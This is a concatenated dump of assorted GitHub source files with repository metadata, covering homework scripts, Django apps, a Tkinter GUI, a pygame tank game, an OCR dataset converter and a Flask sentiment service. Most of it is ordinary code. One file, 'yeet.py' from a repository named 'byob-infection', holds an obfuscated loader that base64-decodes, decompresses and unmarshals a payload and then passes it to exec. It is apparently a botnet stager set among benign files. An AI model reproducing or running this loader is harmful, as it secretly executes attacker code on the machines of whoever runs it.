f059a704022b447f166aaee9648a9edd2326bbd3
/hw1.py
e831e69ae8d9043604fe80d93bd6c3916536102c
[]
no_license
cheecheelin/PIC97-HW1
55c27760c88ac8055a05f515b33023c71c156309
717b08e9625ce638bea07b73441fa84d857c4a58
refs/heads/master
2021-01-10T13:32:37.061950
2016-01-08T01:38:00
2016-01-08T01:38:00
49,236,875
0
0
null
null
null
null
UTF-8
Python
false
false
717
py
#!/usr/bin/python #Cheechee Lin PIC 97 HW 1 01/07/2016 #Newton's Method for given test cases import math #hardcoded functions and their derivatives def f(x): return x**2-1 def df(x): return (2*x) def g(x): return math.sin(x) def dg(x): return math.cos(x) def h(x): return math.log1p(x-1)-1 def...
[ "cheecheelin@s-169-232-112-198.resnet.ucla.edu" ]
cheecheelin@s-169-232-112-198.resnet.ucla.edu
00e61e3359148ae5195cff96ee8a1f87917fa3ba
6f05f7d5a67b6bb87956a22b988067ec772ba966
/data/test/python/e0a24819976e888969becc8f9ec8d2f0e7e377efurls.py
e0a24819976e888969becc8f9ec8d2f0e7e377ef
[ "MIT" ]
permissive
harshp8l/deep-learning-lang-detection
93b6d24a38081597c610ecf9b1f3b92c7d669be5
2a54293181c1c2b1a2b840ddee4d4d80177efb33
refs/heads/master
2020-04-07T18:07:00.697994
2018-11-29T23:21:23
2018-11-29T23:21:23
158,597,498
0
0
MIT
2018-11-21T19:36:42
2018-11-21T19:36:41
null
UTF-8
Python
false
false
591
py
#coding:utf-8 from controller.index import Index from controller.article import Article from controller.signin import Signin from controller.write import Write from controller.signout import Signout from controller.page import About,Type from controller.api import Article as ART,Comment as com urls = [ #首页 (r'/', In...
[ "aliostad+github@gmail.com" ]
aliostad+github@gmail.com
9f75ae87e95dc57ac67393197c8c4f72c083c8d7
bf634c1048818482108630b6e88cd1c36fd2051e
/pages/views.py
33ef90efc6ff1239fb73e01f62927fb02ece2064
[]
no_license
ssandhu2/real-estate
c1679a079f2a9ca49674f292cbd038e69ea4da35
6d0122ebc749e58534b18a3b3ebdef1ac08ac7f7
refs/heads/master
2022-09-16T21:52:29.474119
2020-06-02T22:17:19
2020-06-02T22:17:19
267,181,856
0
0
null
null
null
null
UTF-8
Python
false
false
869
py
from django.shortcuts import render from django.http import HttpResponse from listings.choices import price_choices, bedroom_choices, state_choices from listings.models import Listing from realtors.models import Realtor # Create your views here. def index(request): listings = Listing.objects.order_by('-list_date'...
[ "ssandhu2@mail.sfsu.edu" ]
ssandhu2@mail.sfsu.edu
0409a469c17ce694cb44bf0103a68ba43fa98d38
edd8d9a157b4d1235f6ff38c62023e451af3699e
/.ycm_extra_conf.py
80cd16046c020fe24d6788715d2927767a1b6ea4
[ "BSD-3-Clause" ]
permissive
Magnutic/mg-engine
34ff93669df3d62aff42d76513886c137dfa0620
3078c7248f86e637dc306dd3c9cf8496918219cc
refs/heads/master
2023-03-08T16:22:57.564915
2023-02-23T20:03:09
2023-02-23T20:03:09
152,069,616
0
0
null
null
null
null
UTF-8
Python
false
false
984
py
import os flags = [ '-Wall', '-Wextra', '-Wdeprecated', '-Wshadow', '-Wnon-virtual-dtor', '-Wconversion', '-std=c++20', '-x', 'c++', '-I', './external/mg_dependencies/include', '-I', './external/mg_dependencies/include/bullet', '-I', './external/mg_dependencies/function2/inc...
[ "magnus@magnutic.se" ]
magnus@magnutic.se
8c2f1bde7ab7e0d2f103fb80187f0bda6d09a429
c453bd099dc332aac92ef03d8c18eaed894c3f81
/bb_Implementation/Implementation_2.py
5fcde98e3520276606e6f3a31c71c1f4acd2446e
[]
no_license
taegyoo1104/Study_For_Algo_Python
562925c39df9931adc8559832895da189b7b3c0b
39ec21c73b5d8382b2ad2d43f51c2857ae5de68d
refs/heads/master
2023-08-18T16:25:07.875513
2021-10-10T15:37:41
2021-10-10T15:37:41
363,493,234
0
0
null
null
null
null
UTF-8
Python
false
false
251
py
datas = input() result = [] value = 0 for data in datas: if data.isalpha(): result.append(data) else: value += int(data) if value == 0: print(''.join(result)) else: result.append(str(value)) print(''.join(result))
[ "taegyoo1104@gmail.com" ]
taegyoo1104@gmail.com
9fc32ab67edcc463d7d73686dd60e399151ee4ec
5d80aa8893a5d76e45bc674c6f2c5009521197d2
/eshop/views.py
90229e3bc1b9e10781d316339e4003912e0b6727
[]
no_license
belAnosovAs/prostie-zakupki
f42af9289c776b685f37f3f2555c2e911e59d251
5fd0b994eca6ef5bce445de6cbaefcc73e35f68a
refs/heads/master
2016-09-10T12:27:58.235920
2012-03-15T12:04:27
2012-03-15T12:04:27
3,645,967
2
0
null
null
null
null
UTF-8
Python
false
false
1,687
py
from django.shortcuts import render_to_response from first_site.eshop.models import * def purchase_type_list(request): type_list = PurchaseType.objects.all() return render_to_response('purchase_type_list.html', {'type_list':type_list}) def purchase_list(request, purchase_type, category_id): try...
[ "belAnosovAS@gmail.com" ]
belAnosovAS@gmail.com
35ee7b5437dd10190f3ee588717aa50e422987a6
9c3cfbb186d23c698a112ecfdd2ab51032b0a9ff
/app/migrations/0016_auto_20210614_2320.py
00c65fbcabee348a95fa5a797fc6285f61729e78
[]
no_license
Sadiq290/TMC
e712d3b378399b8baf458187777a1c25a8f8fd2c
ee185285344faec0b83f13a5f43cb61d9e1bc029
refs/heads/main
2023-08-07T23:57:44.361324
2021-09-27T17:13:30
2021-09-27T17:13:30
410,975,267
0
0
null
null
null
null
UTF-8
Python
false
false
365
py
# Generated by Django 3.1 on 2021-06-14 17:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('app', '0015_camptrainer'), ] operations = [ migrations.RenameField( model_name='camptrainer', old_name='institutuion', ...
[ "sadiqmumu27@gmail.com" ]
sadiqmumu27@gmail.com
dff2bc6e08afd2c6e14c4104a8b8783faf22be45
20da9b6b01d985646fd1b1753f312001a55e1e37
/data-visualize-chain/spider/getDetails.py
5d3f91b28a2ca80076f90005083e11f0490d47eb
[]
no_license
JessiZhu/starwar-visualization
27aa01f74021e8dfd9c5534ebeb888e9015c4ff4
f373c2e6afc9e11859f3dc285058cd4b512f5212
refs/heads/master
2020-05-16T05:03:21.022776
2019-04-22T15:17:06
2019-04-22T15:17:06
182,800,397
0
0
null
null
null
null
UTF-8
Python
false
false
2,330
py
import urllib import urllib.request from bs4 import BeautifulSoup fr = open('douban_movie.txt','r' , encoding='utf8') fw = open('douban_movie_detail.txt' , 'w' ,encoding='utf8') fw.write('id^title^url^cover^rate^director^composer^actor^category^district^language^showtime^length^othername^description\n') count = 1 f...
[ "417734353@qq.com" ]
417734353@qq.com
fbe4700581083d0d46fa73f4777bfc8b5233070f
4efda3f2eba778d083a7c34d6fdbad8665b91bb0
/morphonets/utils.py
c0f80e35780d7a44abd37185b024792c709c8321
[]
no_license
SigmaQuan/morphonet
d615356e7f99b0483d90adfe67e026aa3898c27d
6dc8653f5b433bb3d981223e966931e087abb784
refs/heads/master
2021-05-12T07:39:30.967582
2018-01-12T14:38:00
2018-01-12T14:38:00
114,373,833
0
0
null
null
null
null
UTF-8
Python
false
false
1,023
py
# -*- coding: utf-8 -*- """ Help classes and functions. """ import numpy as np import random import time # from keras.callbacks import Callback # from math import exp # import matplotlib.pyplot as plt # import numpy as np # from keras import losses # from keras import backend as K def initialize_random_seed(): ...
[ "quan.zhibin@gmail.com" ]
quan.zhibin@gmail.com
7f1f1571eeef254cb2419b037dea23d48450dfd5
1fda1b125008512c0c8f6974bdb79a7333f05804
/chuckle_bot/single_channel_bot.py
f198aa12380957eaa55d67b6c5eda0d17e69368a
[ "Apache-2.0" ]
permissive
GTOliver/Chucklebot
8a8a75ffa4fa9e127ff1b2cb3c3b4be1d7fd72b8
488ee5476a731ebc89db2ae6d69d7de2fcd76925
refs/heads/main
2023-01-23T03:08:17.986373
2020-12-12T01:04:20
2020-12-12T01:04:20
320,717,436
0
0
null
null
null
null
UTF-8
Python
false
false
2,372
py
import discord class Bot(discord.Client): def __init__(self, guild_name, channel_id, logger=None, **kwargs): """ Bot for use with a single Discord Guild and Text Channel :param guild_name: The name of the Discord Guild to join :type guild_name: string :param channel_id: T...
[ "gtoliver90@gmail.com" ]
gtoliver90@gmail.com
b78211423a07f04e32c92442125f76f6b06bb721
5c928ded0bd75bec3a36a0b47a149876aa897d45
/Problem056.py
3a6818660aed9c805c353fa2259005e9613eb888
[]
no_license
AkihikoTakahashi/ProjectEuler
3925b4b6384bb92a5eb1d49a7092962c16dbca3e
1734b1b19778511b4a9d5d2cc7402153b9b3d51d
refs/heads/master
2023-06-22T18:54:30.021732
2023-06-09T02:41:26
2023-06-09T02:41:26
191,503,767
0
0
null
null
null
null
UTF-8
Python
false
false
266
py
# coding: utf-8 def digit_sum(n): s = 0 while n > 0: s += n % 10 n //= 10 return s def main(): return max( digit_sum(pow(a, b)) for a in range(1, 100) for b in range(1, 100)) if __name__ == '__main__': print(main())
[ "fermatslasttheoremisdifficult@gmail.com" ]
fermatslasttheoremisdifficult@gmail.com
9383a57b449072c8fb83a0149c8e475acf633851
84f652ced4a7b1ae1e173ffaa89af6e7dcdcca9c
/ssbio/protein/sequence/properties/kinetic_folding_rate.py
0c00d07dd1a2d97259dee196bd91f6e2ddaa71ba
[ "MIT" ]
permissive
JoshuaMeyers/ssbio
a1cf1aa521d2ca9248f0efb6c042d292f6a8c320
624618602437e2c2e4adf90962adcef3af2d5b40
refs/heads/master
2023-01-24T20:14:33.956913
2020-12-07T16:50:58
2020-12-07T16:50:58
319,367,246
0
0
MIT
2020-12-07T15:47:45
2020-12-07T15:47:45
null
UTF-8
Python
false
false
2,456
py
__author__ = 'Ke Chen' __email__ = "kec003@ucsd.edu" # TODO: replace urllib usage with six library try: from urllib.request import urlopen from urllib.request import build_opener from urllib.request import HTTPCookieProcessor from urllib.parse import urlparse from urllib.parse import urlencode exce...
[ "nmih@ucsd.edu" ]
nmih@ucsd.edu
f6ea1e9dc4664869333becf4eabb4e33c8a9ff08
3e74c6405a5825c128bd2841484b9394e5a3e6be
/venv/Scripts/pip-script.py
d01ca0c6db4c6a37c1bd962a471f383bfd47ae0f
[]
no_license
instance0326/t_ti
e273dd192fafd01778dd9ebed2bf24a276310ed4
0eb15187b762f357592745543881e118605721b8
refs/heads/master
2020-08-27T22:56:21.105510
2019-10-25T13:08:16
2019-10-25T13:08:16
217,509,892
0
0
null
null
null
null
UTF-8
Python
false
false
409
py
#!C:\Users\User\PycharmProjects\opencv\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])...
[ "instance0326@gmail.com" ]
instance0326@gmail.com
1b03a134c4d0562307042d27baa1c91aec3d2484
e97451f42a5bb5834baf581dcbbcf273eb6562ff
/[060] Prime pair sets/main.py
c946ea518c0f4d7dfe45f4e931cabf0472780557
[]
no_license
m-tkach/ProjectEuler
561d13137a8e5e9e63f028e0dd3abd57aa788b9e
ee118e0889fa0c48662f62b42708c2009ddbc4ce
refs/heads/master
2020-04-15T01:54:24.682833
2015-04-13T20:23:44
2015-04-13T20:23:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,339
py
SIZE = 5 primes = [2, 3,] def gen_primes(n): if primes[-1] >= n: return for x in range(primes[-1]+2, n+1, 2): for p in primes: if p * p > x: primes.append(x) break if x % p == 0: break def is_prime(x): ...
[ "m.tkach@samsung.com" ]
m.tkach@samsung.com
013db56b03036275322d68bfb8a9d4f509a487c8
927d302f021a9ebbf72c19e40667a61c4637d120
/GUI Implementation Working/server.py
84bd401ff5a87e1bc01fc7ca08c12890e2736655
[]
no_license
Sumit112192/Python-Chatroom
9f8bd24622fe5fb9fccdab0f90f3e300487acef0
96636c16c012316d09242769197a162341a8efcf
refs/heads/main
2023-05-28T11:31:01.667284
2021-06-15T21:42:41
2021-06-15T21:42:41
377,807,712
0
0
null
2021-06-17T11:31:35
2021-06-17T11:31:35
null
UTF-8
Python
false
false
3,749
py
import socket import threading host = '127.0.0.1' port = 55555 # to start server server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen() clients = [] nicknames = [] def broadcast_msg(message, bmsg): for client in clients: client.send(messa...
[ "noreply@github.com" ]
Sumit112192.noreply@github.com
0fb50cf402fbbce2880c35c8958732b192e5f964
a0bcd1fbd8e95fff14b0780187de5d6130a07dca
/src/neural/corpus/network2.py
f2640fceafd51500ba884604b3bb228bebfcea52
[]
no_license
ankit96/rejigthesystem
b8f9eb864562d6fbc9fd4b157986065a8630368d
a155349f3f5f42fae7dc33ef4cc8af481b428721
refs/heads/master
2022-08-12T03:10:44.233563
2018-03-10T20:06:58
2018-03-10T20:06:58
60,528,888
1
1
null
2022-07-06T19:23:29
2016-06-06T13:13:58
OpenEdge ABL
UTF-8
Python
false
false
13,965
py
"""network2.py ~~~~~~~~~~~~~~ An improved version of network.py, implementing the stochastic gradient descent learning algorithm for a feedforward neural network. Improvements include the addition of the cross-entropy cost function, regularization, and better initialization of network weights. Note that I have focuse...
[ "ankit.sagwekar15@gmail.com" ]
ankit.sagwekar15@gmail.com
8d15fa2b34e2b38cabe5d2e3754b92e1b1d34215
49bdc2959c2a133f5bba262af20a95ebf1d2fce8
/admiralce/apps/ce_ledger/apps.py
c7da233bb0bc3998fc2a4ec272f12d2ae081f814
[]
no_license
tonjohn/admiralce
ca6049ab3bf2f5193021158be2d1ce3ae3c51a9e
ebc7a2d12780641c997dcee1636ce09f1dbd2e06
refs/heads/master
2021-08-23T03:16:56.294892
2017-12-02T20:42:46
2017-12-02T20:42:46
110,373,547
1
2
null
2017-12-02T20:42:47
2017-11-11T19:25:57
Python
UTF-8
Python
false
false
157
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.apps import AppConfig class CeLedgerConfig(AppConfig): name = 'ce_ledger'
[ "kearlyaa@gmail.com" ]
kearlyaa@gmail.com
92f278ef1be30da74797d4cdc0bf66045c5f2f1b
ffb56bbe3d383d002adb0a125f80067d78537492
/code/is_bst/is_bst.py
7765f85c9d0dc573a71b21bb9016aebc3169b70c
[]
no_license
Hackman-git/Data-structures
e1c5aab7a2f91c4345289673269a97da0c6e5f39
f8c52c7bd16e601a29b9802fdbc8ae4ebe144077
refs/heads/master
2023-01-28T07:21:25.038192
2020-12-12T23:22:05
2020-12-12T23:22:05
320,939,816
0
0
null
null
null
null
UTF-8
Python
false
false
1,174
py
#!/usr/bin/python3 import sys, threading sys.setrecursionlimit(10**7) # max depth of recursion threading.stack_size(2**30) # new thread will get stack of such size n = int(input().strip()) key = [0 for i in range(n)] left_ind = [0 for i in range(n)] right_ind = [0 for i in range(n)] for i in range(n): [a, b, c] ...
[ "abdulaigbenga96@gmail.com" ]
abdulaigbenga96@gmail.com
626c922de9219080952e7221d26a8a4a2740ad29
6e8b606bca1eaddd8858fffc0fdeda039a438af5
/source/precipitation/precip_stats_for_central_arctic_to_timeseries.py
3af2eff5c86951f4471ed3fd8fddbaeec12bb877
[]
no_license
andypbarrett/SnowOnSeaIce
1f93a0523933fff0bfdd89fc87ad32b371bae359
b8fe84a23bf790eb8efc43f4b89725fb7ba7d73c
refs/heads/master
2023-01-20T11:53:30.835890
2023-01-18T17:43:19
2023-01-18T17:43:19
137,275,118
0
1
null
null
null
null
UTF-8
Python
false
false
1,836
py
#---------------------------------------------------------------------- # Calculates mean of precipitation stats for Arctic Ocean excluding # Barents and Kara seas. This region conforms to the regions with # data from the NP drifting stations. #---------------------------------------------------------------------- im...
[ "apbarret@nsidc.org" ]
apbarret@nsidc.org
28218e56736c0aa387e0b52b1481f9011b706757
4711e47c536f4001ea0c2f2de5eae0c4b2eabf28
/streaming_sensors/client_tcp_sensors.py
86dfc753e0e409ce26a4f235f46f25928f6bdbc2
[]
no_license
webvalley2015/PhysioWat
af6b2e43a680e37a7f13c6466885206b4671a9d1
595fc177a25510677e3b11936d49c9c6a463b4ab
refs/heads/master
2021-01-15T11:43:18.515845
2015-07-10T13:26:45
2015-07-10T13:26:45
38,247,074
7
4
null
null
null
null
UTF-8
Python
false
false
1,760
py
import socket import random import sys import time import struct import time from socket import * def recv_int(f): x=struct.unpack('!i', f.recv(4))[0] # print 'int: ', x return x def recv_long(f): x=struct.unpack('!q', f.recv(8))[0] # print 'long: ', x return x def recv_byte(f): x=ord(f.recv(1)[0]) # print '...
[ "cristoforetti@gmail.com" ]
cristoforetti@gmail.com
85b30b9ab812a82ea1865fc9081398d8b613fc1e
7a663432b426f471c991e481b88f0738df1d7c42
/src/demorepo/__init__.py
b35050024df0b42f9e521473a8c07e147a02fee9
[]
no_license
demosense/demorepo
c2aec1e6daddcbbb0482954545a2fb0605c73737
6b02c5153bcceb52d618d285567b625d29db9796
refs/heads/master
2020-04-07T16:16:09.230540
2018-04-09T11:30:16
2018-04-09T11:30:16
124,222,329
1
0
null
2018-04-29T19:09:20
2018-03-07T10:54:01
Python
UTF-8
Python
false
false
46
py
from . import commands __all__ = ['commands']
[ "javier.cozar@uclm.es" ]
javier.cozar@uclm.es
9ce51d32d9e61c53a2d027bce33679c610fa8a49
1c8d13d1ae081188fcbde3c327164fe77ae8590b
/account_tax_office/__init__.py
eaacf07f67402a9252f480269eaa52b0a068be25
[]
no_license
aaltinisik/customaddons
5f624008b167b860b183f17f0812f5adafc8908e
c04e2b9730db07848c153d8245d2df65ec4e2c8f
refs/heads/12.0
2023-08-31T23:31:05.802190
2023-08-28T06:50:25
2023-08-28T06:50:25
21,519,767
15
21
null
2023-09-08T08:45:44
2014-07-05T12:40:07
Python
UTF-8
Python
false
false
990
py
# -*- encoding: utf-8 -*- ############################################################################### # # Copyright (C) 2015, Eska Yazilim ve Danismanlik A.S. # http://www.eskayazilim.com.tr # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero G...
[ "onurugur@gitlab.com" ]
onurugur@gitlab.com
2840783a2139a211a3aaf526a16a654a7698046a
e4d935c8062319d0f718082ec32871943717574f
/DEP_C6/example_6.py
2c4752df60a414e7fa7019c591845ce3b0066e3a
[]
no_license
zarearia/DigitalImageProcessing-Notebook
58290c6e041554eae75775ab9f2dc8ba82035aff
d0ae8a5950d2a1afe849c51987463157e0ef2b1e
refs/heads/master
2022-08-30T01:47:18.818796
2020-05-30T10:55:17
2020-05-30T10:55:17
268,061,048
0
0
null
null
null
null
UTF-8
Python
false
false
1,709
py
import numpy as np import cv2 as cv import matplotlib.pyplot as plt np.set_printoptions(threshold=np.inf) # Mark: reading and converting img to value between 0 and 1 img = cv.imread('/Users/ariazare/Projects/Python/DEP_C4/Fig0438(a)(bld_600by600).tif') img = cv.cvtColor(img, cv.COLOR_RGB2GRAY) img = np.array(img,...
[ "ariazare@outlook.com" ]
ariazare@outlook.com
b586bc73c8abf2ab0858af5c05cb97731f7d31fa
a366db0f2a117e0a8cf923e9b4de5c643155e047
/bench/state.py
08dad6e8fdc6e4fca68111ef1035197012e312ac
[]
no_license
genome/nessy-server
d2ff6aa7bb692f50e5cabb435a380670be75b2b9
f8207310d33bf259130df806b4d759ef1a883e56
refs/heads/master
2021-01-10T18:59:38.910186
2014-12-29T22:11:16
2014-12-29T22:11:16
15,785,645
0
0
null
2014-12-29T22:11:16
2014-01-10T01:57:38
Python
UTF-8
Python
false
false
2,115
py
import collections import datetime class State(object): UNSET = object() def __init__(self, resource_names): self._state_index = collections.defaultdict(set) self._state_index['released'].update(resource_names) self._resource_index = {r: 'released' for r in resource_names} s...
[ "mark.m.burnett@gmail.com" ]
mark.m.burnett@gmail.com
ee009b5bf52bb7f8428a2d67a049f5f7e5db0bc5
fa140027a23f85d3f2399f4fdbcef27f62f973ab
/product_release_notes/migrations/0004_auto_20170821_2340.py
2cd4a878420b429d29dbebd6adfb8914fd4046c2
[ "MIT" ]
permissive
bjh63742/product-release-notes
10de8a13ae19311a5a2b82cd7f1599e70b64bb69
f0068b4fe3d5e6b23144c69094456acd700becab
refs/heads/master
2022-12-16T18:30:51.001381
2020-09-16T14:06:31
2020-09-16T14:06:31
295,582,583
0
0
null
2020-09-15T01:35:58
2020-09-15T01:35:58
null
UTF-8
Python
false
false
604
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2017-08-21 23:40 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('product_release_notes', '0003_client_icon'), ] operations = [ migrations.Re...
[ "nick.r.romano@gmail.com" ]
nick.r.romano@gmail.com
fad0a9d402c2a9c652ef1ffc6eb8328b5bf559c7
5257652fc34ec87fe45d390ba49b15b238860104
/nn_interpretation/nn_unique/get_nn_unique.py
0aefadbf1cc44379399634748c270b52f7fc9a45
[]
no_license
thekingofall/alzheimers_parkinsons
cd247fa2520c989e8dd853ed22b58a9bff564391
4ceae6ea3eb4c58919ff41aed8803855bca240c8
refs/heads/master
2022-11-30T22:36:37.201334
2020-08-12T01:23:55
2020-08-12T01:23:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
233
py
buddies_nn=set(open('buddies_nn.txt','r').read().strip().split('\n')) sig_svm=set(open('sig_svm.txt','r').read().strip().split('\n')) nn_unique=buddies_nn-sig_svm outf=open('nn_unique.txt','w') outf.write('\n'.join(nn_unique)+'\n')
[ "annashcherbina@gmail.com" ]
annashcherbina@gmail.com
d75327ed3eb1eb548c678947125403d00ff95754
dc6ddb01df98303fd901f2280c3f290250a6c6e0
/gui codings/create new window.py
9b5b58c8be2d5a49d290e3d44a85df571cc6652b
[]
no_license
051109zol/myschoolworkcodings
4ac07adc4af1c440ddee6f95652c4d66ab09d3fa
672db8df023c6405387697fce711cfc3ccd4789e
refs/heads/main
2023-03-30T09:31:34.815066
2021-03-15T15:23:47
2021-03-15T15:23:47
348,017,596
0
0
null
null
null
null
UTF-8
Python
false
false
586
py
from tkinter import * from PIL import ImageTk, Image root = Tk () root.title ("WEWEWEW") root.iconbitmap("pewds_qmL_icon.ico") def open (): global my_img top = Toplevel() top.title ("miniOn") top.iconbitmap("pewds_qmL_icon.ico") my_img = ImageTk.PhotoImage(Image.open("gamba/anomaly1.jp...
[ "noreply@github.com" ]
051109zol.noreply@github.com
392775843ef9a141cf72d2566d5ca45de26aa634
5aa27e52058d014bf4fb784d63a70c7d1f565330
/Games/Tanks.py
49cfe3c4acab326b37343a174e0e53d14d9bffe0
[]
no_license
a5vh/AdPro
2e5c5f952bb917d3b98c277a512670b67ce0718f
595c1c3e5088ae3cfb85078282dffceb44c1901e
refs/heads/master
2020-04-11T00:16:37.088549
2019-05-05T19:24:53
2019-05-05T19:24:53
161,381,037
0
0
null
null
null
null
UTF-8
Python
false
false
10,458
py
import sys, time, random, math, pygame from pygame.locals import * from MyLibrary import * class Bullet(): def __init__(self,position): self.alive = True self.color = (250,20,20) self.position = Point(position.x,position.y) self.velocity = Point(0,0) self.rect = Rect(0,0,4,...
[ "august.hummert5@gmail.com" ]
august.hummert5@gmail.com
68082290653ffed19788bd000c3c0e180d32b37d
f200b971bd542b626dddfca31fb9f72323ece616
/estafeta/tests/test_core.py
ed5add17d09127f9ede433fd491b24c59840d920
[ "MIT" ]
permissive
Solunest/pyestafeta
836d2ad5ce957407e42ecf3cfd76d10698fbea81
cd24cea4973f5184f4cc7e72a653de8b22e32f69
refs/heads/master
2021-01-01T15:34:51.389726
2017-07-18T23:37:55
2017-07-18T23:37:55
97,652,675
0
0
null
null
null
null
UTF-8
Python
false
false
1,498
py
import unittest import estafeta from estafeta import EstafetaClient class CoreTests(unittest.TestCase): def setUp(self): super().setUp() def create_core(self): estafeta_client = EstafetaClient() with self.assertRaises(estafeta.core.EstafetaEmptyField): print(estafeta_cl...
[ "luigi.lahi@gmail.com" ]
luigi.lahi@gmail.com
5fee948bb6d78254887e2386f43243c10338ff41
94af8241244d6910b96654ffa1bef39131c23844
/dialog.py
f56c8b5d551159fdfb292ffcaa515b5944be28aa
[]
no_license
eodecker/Data-Visualization-GUI
248aac7c9e27470d925320df4f4484e0e97ab592
b81eca1c77da587364a784ab991e623aefc3320a
refs/heads/master
2020-12-10T17:16:11.548572
2020-01-13T17:55:38
2020-01-13T17:55:38
233,657,505
0
0
null
null
null
null
UTF-8
Python
false
false
18,742
py
# CS 251 # Spring 2019 # Eli Decker # Project 4 import display import tkinter as tk import numpy as np class Dialog(tk.Toplevel): def __init__(self, parent, title = None): tk.Toplevel.__init__(self, parent) self.transient(parent) if title: self.title(title) self.par...
[ "noreply@github.com" ]
eodecker.noreply@github.com
e56c6ee27ab0950e3e1ce80a00944ec4b2b72b66
dd137d2643ec983c60fc0e6c7c6e4d53778c6f92
/yeet.py
7f28ec17b139efd2653441120449f0871bec88f0
[]
no_license
Dybe66/byob-infection
c2b98b3ce9a496712fb54f97902c1c5aa455b80b
5e8354d5dd39eb57bd6d84b2dd72cc31a983aa15
refs/heads/main
2023-08-25T12:07:18.646529
2021-10-15T20:32:18
2021-10-15T20:32:18
417,626,910
0
0
null
null
null
null
UTF-8
Python
false
false
344
py
import sys,zlib,base64,marshal,json,urllib if sys.version_info[0] > 2: from urllib import request urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen exec(eval(marshal.loads(zlib.decompress(base64.b64decode(b'eJwrtWJgYCgtyskvSM3TUM8oKSmw0te3MNEzMjHXMzHVszS0MjQ2ttDXLy5JTE8tKtbPNzfSK6hU19Q...
[ "noreply@github.com" ]
Dybe66.noreply@github.com
184bfebb357383b520e0be4fda111faf8a4b9ffa
e4fcd551a9d83e37a2cd6d5a2b53a3cc397ccb10
/codes/eval_metrics/writing/mmocr/tools/dataset_converters/textdet/synthtext_converter.py
811b1cc0e669b8dd185dbcf8156595002713a850
[ "Apache-2.0" ]
permissive
eslambakr/HRS_benchmark
20f32458a47c6e1032285b44e70cf041a64f842c
9f153d8c71d1119e4b5c926b899bb556a6eb8a59
refs/heads/main
2023-08-08T11:57:26.094578
2023-07-22T12:24:51
2023-07-22T12:24:51
597,550,499
33
0
null
null
null
null
UTF-8
Python
false
false
6,177
py
# Copyright (c) OpenMMLab. All rights reserved. import argparse import json import os.path as osp import time import lmdb import mmcv import mmengine import numpy as np from scipy.io import loadmat from shapely.geometry import Polygon from mmocr.utils import check_argument def trace_boundary(char_boxes): """Tra...
[ "islam.bakr.2017@gmail.com" ]
islam.bakr.2017@gmail.com
b5d2dfcb9f3112ebb0b00df7d97761018ff49903
255d4b618480144320a512099de9ce445e7885ee
/flask_serving/app.py
b22d7d50beb902f5c3088025586711e5e990d752
[]
no_license
hyades910739/Bert-Sentiment-Classifier
9430ddd3bf4b8cc602e3eed2a2a9cf315f990859
e5f2725c9eef45638ce4cfbaeccf8eea32f1bacf
refs/heads/master
2023-02-26T12:00:37.185038
2021-01-31T13:40:09
2021-01-31T13:40:09
334,664,479
0
0
null
null
null
null
UTF-8
Python
false
false
1,687
py
import flask from flask import Flask from flask import render_template, url_for, request import sys import time from pre_process import get_token import json from config import BERT_URL, SENTIMENT_URL from predict import get_sentiment_predict, get_bert_embedding from crawler import get_raw_pushes_list_from_post, comb...
[ "ericlai@ericlaideMacBook-Pro.local" ]
ericlai@ericlaideMacBook-Pro.local
a11e3bfc48930fad0830280da37c6ef706d754a2
778f80d2c449ea49596624607dc9ccb25aebc758
/cap7/TestaAgmPrim.py
43d5053d974ddd1d1e0ed7f27bdcc0d69b10e007
[]
no_license
ProFL/TADGrafo_Python
aa7e46e31254643f1363c611cbe5c18c079bf09b
c018e886b2582b876cc97558a79fd92b083559d2
refs/heads/master
2021-08-23T18:20:46.861034
2017-12-06T01:48:17
2017-12-06T01:48:17
112,876,296
0
0
null
null
null
null
UTF-8
Python
false
false
843
py
''' Módulo para testar o algoritmo de Primm ''' import sys import os sys.path.append(os.path.dirname(os.path.realpath(__file__)) + "/listaadj/autoreferencia") from EntradaDeGrafo import EntradaDeGrafo from Grafo import Grafo from AgmPrim import AgmPrim #pylint: disable=C0103 raiz = 2#int(input("Raiz da AGM:")) # gra...
[ "pedro-fiuza10@hotmail.com" ]
pedro-fiuza10@hotmail.com
320129562399e4ff93138bb8e0fc870add4138a7
423dc2cbdbb099d8b1031886fd64f1680cf06ccc
/src/ej5.py
ce4af8915ecd53b15d68712ae43bd0924204ca02
[]
no_license
javicorvi/python_examples
793b03dfbf275d14d12be51373f37dd98ebf44dd
2292619d13445a051bd951a933b9d9e30d690923
refs/heads/master
2021-06-09T21:31:25.922912
2017-01-02T18:35:45
2017-01-02T18:35:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,936
py
# ---------------------------------------------------------------------------- # # coding=utf-8 # ---------------------------------------------------------------------------- # # ---------------------------------------------------------------------------- # # imports import httplib, urllib import xml.etree.ElementTree...
[ "javicorvi@gmail.com" ]
javicorvi@gmail.com
dba9826fd017a5155e4aeb88ce6828001cac6adb
f4a4c9a68a4ead50c0882832f3f73b9cb29271f6
/backend/cardgameapp_22189/settings.py
5d1e2e15e8ab4ff8efd7b0549a39e0e1e23558cb
[]
no_license
crowdbotics-apps/cardgameapp-22189
276e0c18661a3e1ae474f2deb11b6fc32b66eb38
200ca6880781d3d832be39f44b8aa290db481ec2
refs/heads/master
2023-01-11T11:45:35.488695
2020-11-01T17:50:20
2020-11-01T17:50:20
309,153,974
0
0
null
null
null
null
UTF-8
Python
false
false
6,111
py
""" Django settings for cardgameapp_22189 project. Generated by 'django-admin startproject' using Django 2.2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ im...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
17584929153323757012d9c8a5981b6d6497d4ad
ef46379a8f1576bc6a0bb21c46126a1ce404f029
/105thick/makerandom.py
